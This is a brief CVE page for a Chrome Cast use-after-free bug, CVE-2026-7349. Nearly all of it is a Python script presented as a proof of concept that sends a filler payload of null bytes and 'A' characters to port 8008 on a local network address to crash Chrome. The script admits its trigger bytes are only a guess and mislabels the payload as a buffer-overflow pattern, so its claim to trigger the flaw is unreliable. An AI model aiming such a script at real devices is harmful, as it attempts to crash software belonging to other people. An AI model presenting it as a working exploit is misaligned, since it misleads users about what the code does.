CVE-2026-7349 Google Chrome Cast释放后重用漏洞

import socket # Proof of Concept for CVE-2026-7349 # This script simulates sending malicious network traffic to trigger the Cast UAF. # Target: Google Chrome Cast Service on local network def send_malicious_packet(target_ip, target_port=8008): # Malformed payload structure to trigger the UAF vulnerability # Specific bytes would be determined by fuzzing the Cast protocol payload = b"\x00\x00\x00\x00" + b"A" * 1024 # Example buffer overflow pattern try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((target_ip, target_port)) print(f"[+] Connected to {target_ip}:{target_port}") # Sending the malicious payload sock.sendall(payload) print("[!] Payload sent. If Chrome version < 147.0.7727.138, it may crash.") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": # Replace with the target IP address on the LAN target = "192.168.1.100" send_malicious_packet(target)